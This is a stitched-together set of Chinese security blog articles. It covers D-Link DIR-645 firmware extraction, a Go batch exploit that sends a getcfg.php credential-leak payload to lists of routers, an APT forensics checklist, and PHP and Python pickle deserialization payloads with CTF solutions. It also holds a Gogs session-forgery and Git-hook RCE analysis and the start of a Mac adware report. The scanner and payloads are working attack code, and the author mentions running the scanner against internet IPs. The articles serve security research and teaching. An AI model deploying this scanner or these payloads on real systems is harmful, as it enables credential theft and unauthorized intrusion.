root@redidc784587341578:~# hexdump -C DIR645A1_FW102B08.bin | grep -n "hsqs"
88066:00160090 68 73 71 73 a3 07 00 00 29 64 cc 4e 00 00 01 00 |hsqs....)d.N....|
在偏移0x160090出发现了”hsqs”。
16进制转化为10进制，使用计算机自带的计算器转化，如下图
(十六进制1441936）
root@redidc784587341578:~# dd if=DIR645A1_FW102B08.bin bs=1 count=100 skip=1441936 of=squash
100+0 records in
100+0 records out
100 bytes copied, 0.000547148 s, 183 kB/s
squashfs文件系统的头部校验不会超过100字节,这里直接复制100字节的数据
##### 使用file命令确认复制的文件squash的文件类型
root@redidc784587341578:~# file squash
squash: Squashfs filesystem, little endian, version 4.0, 5958022 bytes, 1955 inodes, blocksize: 65536 bytes, created: Wed Nov 23 03:10:33 2011
bin在偏移0x00160090处包含squashfs文件系统，其大小为5958022字节，使用dd命令复制该数据块。
root@redidc784587341578:~# dd if=DIR645A1_FW102B08.bin bs=1 count=5958022 skip=1441936 of=kernel.squash
5958022+0 records in
5958022+0 records out
5958022 bytes (6.0 MB, 5.7 MiB) copied, 16.8458 s, 354 kB/s
属于squashfs文件系统的数据已经成功提取出来，接下来的工作就是还原squashfs文件系统中的根文件系统。
##### 安装firmware-mod-kit解压缩。
git clone https://github.com/mirror/firmware-mod-kit.git
sudo apt-get install build-essential zlib1g-dev liblzma-dev python-magic
cd firmware-mod-kit/src
./configure && make
##### 提取
root@redidc784587341578:~/firmware-mod-kit# ./unsquashfs_all.sh ../kernel.squash
./unsquashfs_all.sh: line 85: ./src/binwalk: No such file or directory
Attempting to extract SquashFS .X file system...
Trying ./src/squashfs-2.1-r2/unsquashfs...
Trying ./src/squashfs-2.1-r2/unsquashfs-lzma...
Trying ./src/squashfs-3.0/unsquashfs...
Trying ./src/squashfs-3.0/unsquashfs-lzma...
Trying ./src/squashfs-3.0-lzma-damn-small-variant/unsquashfs-lzma...
Trying ./src/others/squashfs-2.0-nb4/unsquashfs...
Trying ./src/others/squashfs-3.0-e2100/unsquashfs...
Trying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma...
Trying ./src/others/squashfs-3.2-r2/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs...
Trying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs...
Trying ./src/others/squashfs-3.3/unsquashfs...
Trying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs...
Trying ./src/others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools/unsquashfs...
Trying ./src/others/squashfs-3.4-cisco/unsquashfs...
Trying ./src/others/squashfs-3.4-nb4/unsquashfs...
Trying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma...
Trying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 2 processors
Trying ./src/others/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 2 processors
Trying ./src/others/squashfs-4.0-lzma/unsquashfs-lzma... Parallel unsquashfs: Using 2 processors
1848 inodes (2053 blocks) to write
[======================================================================================================================================================================================/] 2053/2053 100%
created 1601 files
created 107 directories
created 181 symlinks
created 66 devices
created 0 fifos
File system sucessfully extracted!
MKFS="./src/others/squashfs-4.0-lzma/mksquashfs-lzma"
##### 查看文件，成功提取=
#### DIR-645信息泄露
比如，这里是DIR645的固件包，我们直接去看web目录下的 getcfg.php文件
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
?></postxml>
查看源码我们能看到/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php存在用户名及密码的泄漏
#### 批量检测脚本
直接撸一个poc
package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"github.com/fatih/color"
"io"
"io/ioutil"
"net/http"
"os"
"strings"
"sync"
)
func exec(targetURL string, isbatch bool) {
PostData := `SERVICES=DEVICE.ACCOUNT&attack=true%0aAUTHORIZED_GROUP=1`
/*构造payload*/
cli := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
if !strings.Contains(targetURL, "http") {
targetURL = "http://" + targetURL
}
request, err := http.NewRequest(http.MethodPost, targetURL+"/getcfg.php", strings.NewReader(PostData))
if err != nil {
fmt.Println(err)
}
request.Header.Add("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0")
request.Header.Add("Connection", "close")
request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
request.Header.Add("Accept-Encoding", "gzip, deflate")
request.Header.Add("Upgrade-Insecure-Requests", "1")
request.Header.Add("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2")
/*http请求体构建并忽略tls证书校验*/
do, err := cli.Do(request)
if err != nil {
return
} /*发送数据包*/
defer func() {
_ = do.Body.Close()
}()
if do.StatusCode == 404 {
return
} else if do.StatusCode == 200 {
all, _ := ioutil.ReadAll(do.Body)
if isbatch {
if strings.Contains(string(all), "DEVICE.ACCOUNT") {
color.Blue(fmt.Sprintf("%s 存在漏洞\n", targetURL))
}
}
}
color.Red(fmt.Sprintf("%s 不存在漏洞\n", targetURL))
return
}
func main() {
var wg sync.WaitGroup
var targetURL, filepath string
flag.StringVar(&targetURL, "u", "", "")
flag.StringVar(&filepath, "l", "", "")
flag.CommandLine.Usage = func() { fmt.Println("使用说明：\n执行命令：./main -u http://127.0.0.1:8080 \n批量检测：./main -l url.txt ") }
flag.Parse()
if len(targetURL) == 0 {
file, err := os.OpenFile(filepath, os.O_RDWR, 0666)
if err != nil {
fmt.Println("Open file error!", err)
return
}
defer file.Close()
buf := bufio.NewReader(file)
for {
wg.Add(1)
line, err := buf.ReadString('\n')
line = strings.TrimSpace(line)
a := line
go func() {
exec(a, true)
wg.Done()
}()
if err != nil {
if err == io.EOF {
break
} else {
fmt.Println("Read file error!", err)
return
}
}
}
} else {
exec(targetURL, false)
}
wg.Wait()
}
使用zoomeye在互联网爬的IP，一个漏洞都没有，哈哈哈 尴尬。
#### 安装自动化分析固件firmware-analysis-toolkit
> 如果qemu或者binwalk出错，可以尝试按照之前说的操作来手动安装。
git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
./setup.sh
#### 修改配置文件fat.config
> fat.py 运行的时候需要获取sudo 密码，和firmadyne的路径
把地址替换成自己的，如下
[DEFAULT]
sudo_password=root
firmadyne_path=/home/txf/Desktop/firmware-analysis-toolkit/firmadyne
./fat.py xxx.bin
运气好就会出现下面启动成功的提示
运气不好就是起不来。
当然，毕竟是虚拟环境，很多情况下会遇到各种各样的问题，所以有条件的还是买真机来调试吧
漏洞悬赏计划：涂鸦智能安全响应中心（[https://src.tuya.com）欢迎白帽子来探索。](https://src.tuya.com%EF%BC%89%E6%AC%A2%E8%BF%8E%E7%99%BD%E5%B8%BD%E5%AD%90%E6%9D%A5%E6%8E%A2%E7%B4%A2%E3%80%82)
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递[[email protected]](mailto:[email protected])，请注明来源。 | 社区文章 |
# 企业APT攻击取证（windows版本）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
当年，APT这个词刚出现的时候震慑了一大群安全同学，“APT（Advanced Persistent
Threat）是指高级持续性威胁”，这个专业定义让大家都无比崇拜。
随着逐步研究与接触，尤其是在处理过APT入侵后，慢慢明白，其实所谓apt攻击，就是一个黑客或黑客组织死心眼，一门心思要搞你。他们针对你使用专门的新技术，进来后耐心的收集信息，逃避检测长期潜伏，最终窃取最有价值的数据。其实这个过程和职业小偷一个道理，分析你家的基本情况，如作息时间、出门时间、资产情况、个人信息等，然后利用针对你家的专用信息，如你的生日，打开你家的密码门锁。进去不急着偷东西，而是装摄像头、监听器等，长期监视你的活动，获取银行密码、保险箱密码、各种找回密码的问题等等，最后再获取巨大的金钱利益。特点无非就是：
1、隐蔽性强，就是利用针对性的高技术或偏门的方法，让你的防御、检测措施生效；
2、耐心度高，长期潜伏不作恶，让你的行为检测无的放矢；
3、高速收割，和检测、拦截系统打时间差，在被阻止前窃取完成；
针对以上三点，当前针对apt攻击主要从三个维度发现
1、终端、网络行为异常；
2、大数据分析，终端行为偏移正常、行为聚类后的终端孤点等；
3、情报数据、情报关联数据，如历史用的病毒手法、md5、url、ip、域名和ip对应关系、历史关系等；
但其实这三个方案无论怎么检测发现，最终都只是发现疑似apt攻击，大量误报无法避免，如用户主动访问恶意url、用户今天无聊所以操作行为偏移正常逻辑等等。所以最终定性还是靠人工确定，说白了就是检测发现疑似被apt入侵的终端，安全人员还需要通过取证获取机器数据，最后分析取证后的数据才能最终定性是否存在apt入侵行为。
所以今天我们就来谈谈APT入侵的取证思路，先从整体看下：
如上就是apt入侵的通用流程，我们结合此流程，根据黑客入侵的路径和动作，探讨下要采集哪些数据或日志来分析我们的终端是不是正在被入侵或被入侵过了。
Google翻查各种工具，看的我一脸懵逼呀，各种介绍的高大上工具，什么Autopsy、Volatility、redline等一堆一堆的，本人才疏学浅，感觉要不就是专注于一个方面，如文件痕迹、内存分析等，要不就是各种基于已知的ioc分析，没找到任何一个完全适合windows入侵取证的工具。为了不至于无路可走，决定放飞思路，diy一下。
根据日常我们要取证的场景：
1. 终端出现异常点，或就是看它不爽，我们怎么取证什么数据才能定性是否被黑客入侵？
2. 取证工具简单化，不考虑那么多ui、关联数据等问题，终端我们可以接触，所以复杂需要关联的或图形化的，我们直接在机器看，不必须让取证工具变得那么复杂。
分析下，我们通过黑客入侵各个阶段的做法来看我们要取什么证据
## 进入/执行阶段
### 第一阶段：病毒文件或代码进入电脑（磁盘或内存）
a) 攻击难度低：合法自动进入
1) 钓鱼邮件的附件，利用自动下载附件的功能，也可诱导用户下载
2) Im工具等，利用自动下载，或诱导下载
3) U盘插入，利用摆渡u盘，诱导使用被恶意丢弃的u盘等
4) 浏览器访问，这个大量文件到临时目录，只不过难于执行起来
5) 共享盘挂载，这个虽然不是本地磁盘，但是还是可以直接运行的
6) 各种同步盘，如云和终端同步，多终端同步等，例如攻破云盘上传恶意文件后，文件自动同步到终端。
7) P2p下载方，修改资源块，替换正常块。（没遇到过，推测可行）
b) 攻击难度中：诱导用户直接下载（包括配置好自动下载地址）或拷贝病毒
1) 浏览器、下载工具等主动下载，多为捆绑病毒或替换正常软件（软件供应链），这也是当前感染病毒最多的渠道，互联网虽好，但也是到处有坑！
2) 应用软件，或应用软件组件更新等
3) 邮件、im、word等交流工具中的链接，诱导用户下载
4) U盘文件拷贝
c) 攻击难度高：漏洞利用进入
1) 浏览器漏洞，各种cve
2) 邮件漏洞，如打开触发漏洞的邮件本身，则会自动下载病毒（一个途径，笔者未遇到过）
3) 其他软件漏洞，这就比较广了，主要是各种常用软件，尤其是提供输入、网络接受数据等功能的，例如发送畸形包，让某软件下载病毒文件。
### 第二阶段：病毒文件或代码变为内存中可运行代码
a) 诱导用户主动运行
1) Office各种宏，利用自动宏或诱导用户启动宏拉取恶意文件或代码
2) 社工诱导，如im聊天诱导、邮件诱导、诱惑文件名诱导等等
3) 冒充正常文件名
b) U盘自动运行
1) 这个就不解释了，这也是u盘被利用的原因，插入即可完成进入和执行两步，高效快捷！
c) 漏洞自动运行
1) 这个主要是代码类，漏洞利用直接注入shellcode，修改ip运行。
综上，在该阶段我们要获取
1、邮件附件情况，包括下载和执行
---
2、im接受文件情况，包括下载和执行
3、u盘自动运行情况、拷贝情况
4、office宏的执行情况
5、浏览器临时文件情况
6、共享挂载情况
7、同步盘情况
8、p2p下载情况
9、浏览器、下载工具等下载情况
10、应用软件的自动更新和更新配置情况
11、浏览器、邮件、其他软件等的漏洞情况和漏洞触发（尽可能）情况
12、程序启动情况
## 潜伏/控制阶段
### 第一阶段：提权
a) 命令提权，网上很多，笔者研究不深，主要是利用cmd、powershell等
b) 漏洞提权
### 第二阶段：窃取
a) 窃取单终端信息，如账户密码、本机敏感文档
b) 窃取沦陷终端可触达的网络信息、服务信息，如网络拓扑、内网web系统等
c) 窃取后续扩散必须数据，如其他终端或服务器的权限数据、登陆方法、弱点情况等
### 第三阶段：外传
a) 传统socket，较少了
b) http、https、ftp、ssh等通用协议外传，较普遍，但其普遍性造成被检测几率大
c) 隐蔽隧道，如dns、icmp、各种协议 over
http等，相对隐蔽度较高，近年dns是常规方法，有兴趣的可参考笔者写的关于dns的文章，个人认为屏蔽才是根本，检测终有漏报。
### 第四阶段：隐藏
a) 磁盘文件看不到，如文件驱动、钩子、ntfs流、自动删除等
b) 网络通信看不到，如驱动、钩子等
c) 内存数据看不到，如各种混淆、加密等
### 第五阶段：持久化
a) 参考autoruns，各种重启位置
b) 利用常用软件、dll等，诱导用户主动启动
c) 重复漏洞攻击，采用较少，漏洞利用尤其不确定性，无法很好保证一定能执行。
综上，在该阶段我们要获取
1、cmd、powershell等命令执行日志
---
2、终端文件触碰、删除情况
3、网络各种协议的通信情况，尤其是扫描
4、各种底层驱动、钩子等情况
5、内存数据
6、windows启动项位置
7、常用软件、模块情况
## 扩散/收割阶段
### 第一阶段：收割
a) 压缩编码，尽量减小体积，分片等
b) 隐蔽外传，包括空闲外传，防止终端性能异常；夜间外传，防止用户感知；夹杂外传，混在正常通信中，躲避检测等
### 第二阶段：扩散
a) 网络扩散，如445漏洞利用、扫描弱点后发包等
b) 利用im、邮件等工具扩散
c) 利用内部共享系统等扩散
综上,在该阶段我们要获取
1、流量情况，偏重大小
---
2、畸形协议情况
3、网络通信情况，尤其是扫描
4、im、邮件等外发情况，尤其是非用户操作的
5、共享等系统的上传情况，尤其是非用户操作的
最终，结合windows系统情况，具体取证位置如下
邮件附件名、邮件来源、邮件附件内容等（包括接收和发送），这里一般涉及到office宏、powershell、vbs、js等各种脚本
---
安全日志，主要是监控恶意进程的启动，包括脚本文件（vbs，js等），具体开启哪些请参考https://www.ultimatewindowssecurity.com/securitylog/encyclopedia
进程，用于判定新增进程，包括脚本文件（vbs，js等）
模块，用于判定新增模块
dns缓存，包括系统和浏览器，判定外连下载情况
浏览器历史记录，判定用户主动访问下载情况
浏览器历史记录返回的页面内容（页面内容可能随时间变动，如可能，建议使用异常期间内容），判定网页挂马、漏洞下载等
软件列表，包括版本，用于判定漏洞
系统补丁情况，分析漏洞利用
系统启动项情况
office宏运行情况
各种脚本权限情况，如powershell权限、js终端是否解析、vbs等
usb拷贝日志，自动执行情况
同步盘下载日志、共享挂载日志或现状、p2p下载日志、临时目录下载现状、下载目录文件现状
各类软件更新或组件下载配置
im工具接收目录文件现状、发送情况
内存，判定shellcode，但分析是难点，后续考虑单独写一下，不过站在取证角度，拿回来是必须的
全部软件对应的文件和加载模块对应的文件
各种底层数据，如钩子、ssdt等
文件访问日志，可考虑过滤驱动实现
cmd历史、powershell历史等
网络包包体，用于分析隐藏通信
网络通信日志
共享等系统的使用情况
经过分析，最终确认apt入侵的取证位置如上，通过采集如上数据可分析出黑客入侵全路径的操作，但黑客手法层出不穷，笔者也是建立在自己了解的知识层面，欢迎私信探讨！谢谢！
审核人：yiwang 编辑：边边 | 社区文章 |
之前一直有接触挺多反序列化的漏洞，但是自己一直没有很细心地学习这方面的东西，所以现在花时间分析一下`php`、`python`中的反序列化漏洞，其大体都是差不多的，部分代码来源互联网，有错误烦请各位师傅指正。
`序列化
(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。以后，可以通过从存储区中读取或反序列化对象的状态，重新创建该对象。`
简单来说序列化就是把一个对象的数据和数据类型转成格式化字符串的过程，反序列化则是将这些格式化字符串转为对象形式的过程。因此面向对象的编程都会有概率可能存在反序列化漏洞。
### 0x01 PHP
#### 魔术方法
在审计`php反序列化`漏洞的时候需要着重注意几个典型的魔术方法：
函数 | 简介
---|---
`__sleep` | `serialize()`函数在执行时会检查是否存在一个`__sleep`魔术方法，如果存在，则先被调用
`__wakeup` | `unserialize()`函数执行时会检查是否存在一个`__wakeup` 方法，如果存在，则先被调用
`__construct` | 构造函数会在每次创建新对象时先调用
`__destruct` | 析构函数是`php5`新添加的内容，析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行
`__toString` | 当对象被当做字符串的时候会自动调用该函数
<?php
class Student{
public $name = 'zjun';
public $age = '19';
public function PrintVar(){
echo 'name '.$this -> name . ', age ' . $this -> age . '<br>';
}
public function __construct(){
echo "__construct<br>";
}
public function __destory(){
echo "__destory<br>";
}
public function __toString(){
return "__toString";
}
public function __sleep(){
echo "__sleep<br>";
return array('name', 'age');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}
$obj = new Student();
$obj -> age = 18;
$obj -> name = 'reder';
$obj -> PrintVar();
echo $obj;
$s_serialize = serialize($obj);
echo $s_serialize.'<br>';
$unseri = unserialize($s_serialize);
$unseri -> PrintVar();
?>
输出结果：
__construct
name reder, age 18
__toString__sleep
O:7:"Student":2:{s:4:"name";s:5:"reder";s:3:"age";i:18;}
__wakeup
name reder, age 18
在进行构造反序列化`payload`时，可跟进以上几个比较典型的魔术变量进行深入挖掘。
#### 一个例子
在`php`中，序列化和反序列化一般用做应用缓存，比如`session`缓存，`cookie`等，或者是格式化数据存储，例如`json`，`xml`等。
一个很简单的序列化代码，如下：
<?php
class Student{
public $name = 'zjun';
function GetName(){
return 'zjun';
}
}
$s = new Student();
echo $s->GetName().'<br>';
$s_serialize = serialize($s);
echo $s_serialize;
一个`Student`类，其中有一个`name`属性和一个`GetName`方法，然后实例化了`Student`类的对象，输出调用`GetName`这个类方法，然后`serialize()`函数把对象转成字符串，也就是序列化，再输出序列化后的内容
输出结果：
zjun
O:7:"Student":1:{s:4:"name";s:4:"zjun";}
序列化的数据详解：
`O`是`object`表示对象，`:`后边的内容为这个对象的属性，`7`表示对象名称的长度，`Student`就是对象名，`1`表示对象有一个成员变量，就是`{}`里面的东西，`s`表示这个成员变量是一个`str`字符串，他的长度为`4`，后面跟着成员变量名，以及这个成员变量的数据类型，长度，内容。
这里代码只有一个`public`属性，如果有`protected`或者`private`属性，在序列化的数据中也都会体现出来
<?php
class Student{
public $name = 'zjun';
protected $age = '19';
private $weight = '53';
function GetName(){
return 'zjun';
}
}
$s = new Student();
echo $s->GetName().'<br>';
$s_serialize = serialize($s);
echo $s_serialize;
输出：
zjun
O:7:"Student":3:{s:4:"name";s:4:"zjun";s:6:"*age";s:2:"19";s:15:"Studentweight";s:2:"53";}
可见`public`类型直接是变量名，`protected`类型有`*`号，但是其长度为`6`，是因为`\x00+*+\x00+变量名`。同理`private`类型会带上对象名，其长度是`15`，`\x00+类名+\x00+变量名`。
以上的这个过程就称为`php序列化`，再看看反序列化：
<?php
class Student{
public $name = 'zjun';
function GetName(){
return 'zjun';
}
}
$Student = 'O:7:"Student":1:{s:4:"name";s:4:"zjun";}';
$s_unserialize = unserialize($Student);
print_r($s_unserialize);
?>
`unserialize()`函数就是用来反序列化的函数，输出：
Student Object ( [name] => zjun )
一个`Student`对象，其中`name`成员变量等于`zjun`，这就是反序列化，将格式化字符串转化为对象。
在这个过程中本来是挺正常的，在一些特殊情景下却能造成如`rce`等漏洞，如
<?php
class Student{
var $a;
function __construct() {
echo '__construct';
}
function __destruct() {
$this->a->action();
echo 'one';
}
}
class one {
var $b;
function action() {
eval($this->b);
}
}
$c = new Student();
unserialize($_GET['a']);
?>
代码有一个构造函数`__construct`输出`__construct`，在`new`这个对象时自动调用，一个析构函数`__destruct`将当我们传入的`a`再传进`one`对象中执行，构造代码：
<?php
class Student {
var $a;
function __construct() {
$this->a = new one();
}
}
class one {
var $b = "phpinfo();";
}
echo serialize(new Student());
?>
输出：
O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}
成功触发。
#### 实例：网鼎杯 2020 青龙组 AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这里需要读`flag.php`文件，在`process()`函数中，当`op=2`时，`read()`中的`file_get_contents`就会执行，`is_valid()`会判断传入的字符串是否为可打印字符，而原来的类修饰均为`protected`，在序列化时会生成不可见的`\x00`，但`php7+`对类的属性类型不敏感，可直接把属性修饰为`public`，成功绕过`is_valid()`。
构造
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a)."\n";
传入
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
### 0x02 PYTHON
`python`中序列化一般有两种方式：`pickle`模块和`json`模块，前者是`python`特有的格式，后者是`json`通用的格式。
以下均显示为`python2`版本序列化输出结果，`python3`的`pickle.dumps`结果与`python2`不一样。
**pickle**
import pickle
dict = {"name": 'zjun', "age": 19}
a = pickle.dumps(dict)
print(a, type(a))
b = pickle.loads(a)
print(b, type(b))
输出：
("(dp0\nS'age'\np1\nI19\nsS'name'\np2\nS'zjun'\np3\ns.", <type 'str'>)
({'age': 19, 'name': 'zjun'}, <type 'dict'>)
**json**
import json
dict = {"name": 'zjun', "age": 19}
a = json.dumps(dict, indent=4)
print(a, type(a))
b = json.loads(a)
print(b, type(b))
其中`indent=4`起到一个数据格式化输出的效果，当数据多了就显得更为直观，输出：
{
"name": "zjun",
"age": 19
} <class 'str'>
{'name': 'zjun', 'age': 19} <class 'dict'>
再看看一个`pickle`模块导致的安全问题
import pickle
import os
class obj(object):
def __reduce__(self):
a = 'whoami'
return (os.system, (a, ))
r = pickle.dumps(obj())
print(r)
pickle.loads(r)
通过构造`__reduce__`可达到命令执行的目的，详见：[Python魔法方法指南](https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html)
先输出`obj`对象的序列化结果，再将其反序列化，输出
cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.
zjun
成功执行了`whoami`命令。
#### 实例：CISCN2019 华北赛区 Day1 Web2 ikun
[CISCN2019 华北赛区 Day1 Web2
ikun](https://www.zjun.info/2019/ikun.html)，前面的细节讲得很清楚了，这里接着看反序列化的考点。
第`19`行处直接接收`become`经`url`解码与其反序列化的内容，存在反序列化漏洞，构造`payload`读取`flag.txt`文件：
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
将生成的`payload`传给`become`即可。
再推荐一下大师傅的[`python`反序列化漏洞挖掘](https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html)。
个人博客：www.zjun.info | 社区文章 |
# Gogs 远程命令执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Author: c26 && 童话@0kee Team
## 0x00 前言
下午看到一个Gogs远程命令执行漏洞公告，其漏洞修复细节如下：
<https://github.com/gogs/gogs/commit/a1098384c09bc0d569ec82d19c26415e00cc364b>
[https://github.com/go-macaron/session/commit/084f1e5c1071f585902a7552b483cee04bc00a14
](https://github.com/go-macaron/session/commit/084f1e5c1071f585902a7552b483cee04bc00a14)
基于以上commit记录，推出漏洞产生的原因为：
通过伪造session信息登录管理员账号，登录管理员账号后配合管理员权限才有的Git Hook功能实现RCE。
这里我们把以上利用方式分成两步来看，即
1. 如何通过伪造session信息登录管理员账号
2. 登录管理员账号后如何通过Git Hook实现RCE
## 0x01 如何通过伪造session信息登录管理员账号
先来看一下补丁代码：
代码中通过 ContainsAny() 函数过滤了 ./ 字符，如果存在两个字符中的任意字符则ban掉当前请求，否则继续向下执行。
这里我们通过上级路径的方式进行读取指定目录内的session信息，然后进行身份校验操作。
通过Burp抓包，Cookie信息中有一个比较明显的字段i_like_gogits，在代码中全局搜索下方便定位漏洞触发点。
\gogs\conf\app.ini:264-284
这里Gogs的配置文件中指出了session的存储方式，即通过文件的方式存储，存储的目录在 data/sessions
，环境搭好后到这个目录里看一下，结合客户端的cookie信息，比如我
* 6a493300000000eb ，其存储的目录格式为 6/a/6a493300000000eb 的格式。
相应的代码为：
查看一下该文件的内容，文件内容如下：
到这里可以知道其实cookie中i_like_gogits就是这个文件的名字，Gogs就是根据这些session文件实现用户身份认证。
我们把i_like_gogits字段设置为/etc/passwd看会发生什么：Gogs报了500错误。
指定一个不存在的文件再看一下返回结果：程序正常执行
Bingo！这里可以通过跳到上级目录的方式使Gogs加载任意文件的内容。
这一块，利用方式也就明了了，如果可以指定其加载管理员的session，我们就可以登录管理员的账号了。
翻一下session的生成代码，这里类似序列化、反序列的操作，其处理函数为：
\gogs\vendor\github.com\go-macaron\cache\utils.go:23-32
直接找个服务端生成的session通过DecodeGob()解码下，内容如下：
一共有三个变量uname、_old_uid、uid。经过测试发现，我们只要指定uid的值为管理员的uid然后通过EncodeGob()将其转码为既定的格式，存储于服务端，Gogs加载该文件即可登录管理员账号。
通过uid进行鉴权，这块的代码在
\gogs\pkg\auth\auth.go:84-150
通过EncodeGob()生成PoC：
为了验证我们的猜想，先把生成的session文件0kee放置于服务器的tmp目录下，发起请求，
Gogs可以加载该session信息，并且伪造管理员登陆：
关键问题解决了，为了利用这个漏洞，我们现在需要做的是找到一个上传点把我们构造好的session信息上传至服务器。
那Gogs作为一个Git服务器，找到一个上传点自然是不难了（代码总是要通过各种办法push到服务器上的嘛），先创建一个仓库，然后把我们构造好的session文件上传至仓库中，一番搜索找到了上传代码的存放位置：
全局搜索下代码，你会发现这块的逻辑是
\gogs\models\repo.go:594-596
在tmp/local-repo+仓库ID+文件名的形式，那有同学可能就要问了，这个仓库ID是从哪来的，爆破么？当然在仓库量不大的时候通过爆破也不是不行，但是却也不够优雅，看下前端代码，派生操作中即包含这个仓库ID。
到了这里，屡一下思路：
1. 生成伪造的管理员session信息
2. 通过向仓库中上传文件的方式将伪造的session文件上传至服务端
3. 找到文件目录，通过cookie中的i_like_gogits字段指定该文件
4. 成功伪造管理员登陆！
## 0x02 如何从管理员账号实现RCE？
熟悉Gogs的同学可能会知道，Gogs的代码仓库中有一个管理Git钩子的功能，通过在Git钩子中写入shell脚本，当指定的Git操作权限触发时，即可实现命令执行。
将这几个支持的钩子列表执行的shell脚本中添加代码
touch /tmp/0keeTeam!
将项目clone回本地，修改部分内容后再push回Gogs的仓库中，可以看到成功在Gogs服务器上实现命令执行。
## 0x03 总结
梳理一下完整的漏洞利用流程：
1. 生成伪造的管理员session信息
2. 通过向仓库中上传文件的方式将伪造的session文件上传至服务端
3. 找到文件目录，通过cookie中的i_like_gogits字段指定该文件
4. 成功伪造管理员登陆
5. 创建仓库以及Git钩子执行的shell脚本
将仓库clone回本地修改代码后push回服务端，此时成功实现命令执行！ | 社区文章 |
研究人员发现一款Mac恶意软件——OSX.SearchAwesome，能够拦截加密的web流量并进行广告注入。下面对其安装和攻击过程进行分析。
# 安装
恶意软件看起来就是一个非常正常的图像文件，没有合法安装器那样的装饰。
打开后，应用并不会呈现一个下载器的样子，而是静默安装恶意组件。唯一可见的证据就是两个认证请求。第一个是请求授权改变Certificate Trust
Settings（证书信任设置）。
第二个是允许SPI修改网络配置。
因为恶意软件是在第二阶段由另一个恶意安装器来下载的。因此无需漂亮的用户接口，因为除了密码请求外用户也看不到其他的。
# 广告恶意软件行为
与其他广告恶意软件类似，spinstall应用会安装一个程序和多个启动代理：
/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist
~/Library/LaunchAgents/spid.plist
